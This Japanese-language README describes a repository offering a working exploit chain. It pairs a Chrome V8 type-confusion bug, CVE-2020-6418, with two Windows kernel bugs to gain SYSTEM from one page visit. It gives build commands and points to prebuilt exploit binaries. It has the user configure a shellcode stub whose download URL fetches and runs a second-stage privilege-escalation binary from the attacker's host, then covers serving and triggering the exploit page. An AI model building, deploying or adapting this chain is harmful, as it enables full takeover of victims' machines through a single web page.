
CVE-2020-6418 (Chrome RCE) を対象としたシングルステージのエクスプロイトチェーン。Windows の権限昇格を利用して SYSTEM への連鎖攻撃を行い、ビルドスクリプトとプリビルドバイナリが付属しています。
このリポジトリには、CVE-2020-6418 に対する実動するシングルステージのエクスプロイトチェーンが含まれています。
(V8 の Turbofan コンパイラの型混同バグで、Google Chrome
80.0.3987.87 x64 に影響します)。脆弱性のある Chrome で悪意のあるページにアクセスすると、
レンダラープロセス内でネイティブコード実行が得られます。そこから、
エクスプロイトは 2 つ目のバイナリをダウンロードして起動します。そのバイナリはさらに 2 つのバグ
(NtPowerInformation の長さチェック欠如と、CVE-2021-31956(ntfs.sys
のプールオーバーフロー))を連鎖させ、非特権プロセスから
NT AUTHORITY\SYSTEM まで昇格します。
全体はページへの 1 回のアクセスだけで動作し、ブラウザのバグから SYSTEM シェルまでの間に 手動の手順は一切ありません。
Chrome エクスプロイトの元々の功績は、Clement Lecigne(バグ
発見、Google TAG)と Istvan Kurucsai / Vignesh S Rao(当初の
概念実証、後に Metasploit モジュールとして公開)に帰属します。私たちは Metasploit への依存を
取り除き、ペイロードをページに埋め込む代わりに、ネイティブダウンローダーを中心に
配信メカニズムを再構築しました。詳細は
browser-exploit/README.md にあります。
browser-exploit/ The Chrome exploit (the V8 bug + the native stub)
exploit_template.html HTML/JS source, with a placeholder for the stub
build_exploit.py generates exploit.html from the template
shellcode/ the native code the exploit injects into Chrome
privilege-escalation/ The Windows EoP chain, a standalone C program
prebuilt/ Ready to use binaries (exploit.html and exploit.exe)
notes/ An earlier approach we tried and abandoned, kept
as a record of what we learned along the way
攻撃者マシン("ホスト"): Visual Studio 2019 または 2022(どのエディションでも可。 Community でも、Build Tools だけでも構いません)を備えた最近の Windows と、 NASM、Python 3 が必要です。ここですべてをビルドし、 エクスプロイトページを配信します。
ターゲットマシン("VM"): ここは正確に一致させる必要があります。このエクスプロイトは、 これらの特定のビルドでのみ有効なハードコードされたオフセットに依存しています。
winver または PowerShell の
[System.Environment]::OSVersion で確認してください。chrome://version で確認してください。C:\lab8(空でも構いません。存在していれば十分です)。これは、ホストオンリーネットワークアダプタを備えた VMware Workstation VM でテストしましたが、 VM が HTTP でホストに到達できる構成なら、どれでも同じように動作します。
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html
cd ..\privilege-escalation
build.bat
最初のビルドの前に、browser-exploit\shellcode\download_and_run_stub.asm を開き、
末尾付近の次の 2 行を編集してください:
download_url: db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path: db "C:\lab8\exploit.exe", 0
YOUR_HOST_IP は、VM から見たこのマシンの IP アドレスです(VM 上で
ipconfig を実行し、ホストオンリーまたは NAT ネットワークに一致するネットワークアダプタを確認するか、
ホスト側で ipconfig を実行して、VM と同じサブネット上のアダプタを使用してください)。
destination_path は、EoP バイナリを VM 内のどこに配置するかに合わせてください。
デフォルトは C:\lab8 です。
編集後、スタブを再アセンブルし、exploit.html を再生成してください(ステップ 1 の 2 つのコマンドです。privilege-escalation のビルドは IP に依存しないため、 スキップします)。
簡単なテストのためにアセンブリファイルを触りたくない場合は、prebuilt/ に
私たち自身のテスト IP が組み込まれた動作するコピーがすでにあります。ただし、
ネットワークが偶然一致した場合にのみ機能するため、自分でビルドしたコピーを使う方が
確実です。
exploit.html と exploit.exe(privilege-escalation/ でビルドしたもの)を
同じフォルダに置いてから、次のコマンドを実行します:
python -m http.server 8000
exploit.exe は、上記の download_url に入力した正確な URL で
到達可能である必要があります。ネイティブスタブはブラウザ経由ではなく、
直接それを取得するためです。
ホストのファイアウォールに関する簡単な注意:VM がポート 8000 に到達できない場合、
ほぼ常に Windows Defender ファイアウォールが未分類ネットワーク上のインバウンド接続を
ブロックしているか、python.exe を具体的にブロックする残存ルールが原因です(Windows は
アプリが信頼されていないネットワークで接続を受け入れようとした最初の時に、自動的に
そのようなルールを作成することがあります)。この問題に遭遇した場合は、
昇格した PowerShell で Get-NetFirewallRule -DisplayName "python.exe" を
確認してください。
Windows のビルドと Chrome のバージョンが上記の要件に一致することを 確認します。
C:\lab8 がまだ存在しない場合は作成します(空でも構いません)。
実際のブートサイクルを経ていない素の VM の場合、
C:\Windows\bootstat.dat が存在しないか空の可能性があります。カーネルのバグでは、
それが有効な内容で存在する必要があります。必要な場合は次のようにします:
if (!(Test-Path C:\Windows\bootstat.dat)) {
fsutil file createnew C:\Windows\bootstat.dat 2048
}
$bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
$bytes[4] = 1
[System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
脆弱な Chrome を --no-sandbox 付きで起動します(この PoC にはサンドボックスエスケープが含まれていないため、
ファイルシステムにアクセスしてプロセスを生成するには、レンダラーがすでにサンドボックス化されていない必要があります)
そして、ページを開きます:
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html
DevTools(F12)を開いて Console タブを確認してください。エクスプロイトはそこに
進行状況を記録します。すべてが噛み合えば、型混同が成功し、
スタブが EoP バイナリをダウンロードして起動し、数秒後には
NT AUTHORITY\SYSTEM として実行される新しいコンソールウィンドウが表示されるはずです。
exploit_template.html 内のオフセット
(objleaker_offset、float_carw_elements_offset など)は
80.0.3987.87 x64 に固有であり、パッチバージョンが 1 つ違うだけでも
別のビルドでは動作しません。DEFAULT_RVA_ANCHOR、DEFAULT_RVA_SEPSD、および
privilege-escalation/exploit.c 内の各種 EPROCESS/ETHREAD オフセット)は
そのビルド用にハードコードされています。download_and_run_stub.asm 内の download_url が、ホストが実際に配信しているアドレスと
ポートに一致しているか、VM がそこに到達できるかを再確認してください(VM 内から
普通の curl http://YOUR_HOST_IP:8000/exploit.exe を実行するのが、
エクスプロイトを疑う前に接続を確認する手っ取り早い方法です)。各部分の詳細と、なぜそのように構築されているかについては、 各フォルダの README を参照してください。